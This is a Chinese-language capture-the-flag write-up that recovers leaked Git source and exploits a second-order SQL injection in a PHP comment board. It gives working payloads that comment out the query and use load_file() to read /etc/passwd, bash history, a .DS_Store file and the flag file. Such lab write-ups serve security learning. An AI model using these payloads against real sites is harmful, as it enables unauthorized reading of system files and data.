前言:
这是一道蛮有意思的题目,首先是有关Git
的一些命令自己基本不懂,再之这是一道SQL二次注入的题目,可以通过读取/etc/passwd
文件的方式追溯flag文件,长见识的一道题
Git源码泄露
提示git源码泄露,用工具也确实能得到一个php文件,但文件内容不完整,这里卡住不会操作了,看师傅们是git log --relog
恢复日志,然后git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
恢复到相应版本
git的一些基础命令
python GitHack.py http://xxx.com/.git/
git log //查看日志
git log --relog //恢复日志
git reset --hard 版本号 //就是回退到该版本号上。
git diff //进行差异比较
git reset --hard 82af46 //切换到add flag之后的文件
git checkout //输出文件查询
git stash list //查看堆栈内保存的内容
git stash pop //弹出堆栈中的文件
git stash apply //恢复文件
git ls-files //查看隐藏文件
git ls-files -s -- 3012131234.txt //查看文件id
git cat-file -p c47d3a //查看文件内容
git show //显示各种类型的文件
git switch master //切换树
但自己的githack怎么也恢复不出正确的版本号…所以直接就看师傅们的源码了
源码分析
//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
就是一个二次注入。当do=write时三个参数都被addslashes()
处理,然后存进数据库,当do=comment时,$category
是从数据库中来的,其他参数都会被addslashes()
处理但数据库来的可就没有这个限制。
构造的payload十分巧妙:
//do=write:
title=aa&category=b',content=user(),/*&content=cc
//do=comment:
content=*/%23&bo_id=18
因为留言功能只回显conten的内容,所以我们要让conten等于我们要的内容。
b',content=user(),/*
被完整地传入content。然后在do=comment时,这段语句结合content=*/#
注释掉题目的语句
放在SQL中就是:,清楚看到第二行的conten=
被注释了,取而代之是我们自己输入的conten=user()
insert into comment
set category = 'b',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
利用方式
这里我原本想着是爆表名、字段名…确实有点繁琐,看到师傅们是利用读取/etc/passwd
这个文件发现作者有未清理而所留下的信息。这个是我完全没想到的姿势,学习一下这种姿势
load_file()
读取/etc/passwd
:
content=(select load_file('/etc/passwd')),/*
/etc/passwd的字段解释:
root:x:0:0:root:/root:/bin/bash
第一个是用户名
第二个是密码,x只是作为占位符,真正的密码在/etc/shadow
第三个是用户ID ,是Linux系统中惟一的用户标识,用于区别不同的用户。0代表超级用户root,1~499代表管理用户admin,500以后是普通用户
第四个是组ID,在/etc/group文件中指明一个组所包含用户
第五个是描述信息,包含有关用户的一些信息,如用户的真实姓名、办公室地址、联系电话等。
第六个是用户主目录。root的主目录是/root,用户的主目录是/home/[username]/
第七个是用户的shell,通常是一个Shell程序的全路径名
www:x:500:500:www:/home/www:/bin/bash
通过第三位的用户ID可知www是普通用户,也就是我们所操纵的用户,该用户shell是在/bin/bash下
/root/.bash_history
会保存 使用bash这个shell所执行的命令 历史记录
不仅如此,还有/root/.zsh_history
、/root/.mysql_history
我们访问/root/.bash_history
读取一下历史记录:
title=aa&category=b',content=(select load_file('/home/www/.bash_history')),/*&content=cc
读到:
cd /tmp/ 进入/tmp目录
unzip html.zip 解压html.zip
rm -f html.zip 删除压缩包
cp -r html /var/www/ 复制文件夹道/var/www
cd /var/www/html/ 进入目录
rm -f .DS_Store 删除.DS_Store
service apache2 start 开启apache2服务
很明显,被删除的.DS_Store
是有猫腻的,这个文件在/tmp/html文件夹下还没被删除,访问这里,需要hex()将结果16进制编码返回,不然没回显
title=aa&category=b',content=hex((select load_file('/tmp/html/.DS_Store'))),/*&content=cc
得到:
flag_8946e1ff1ee3e40f.php
然后到/var/www/html目录下读文件:
title=aa&category=b',content=hex((select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*&content=cc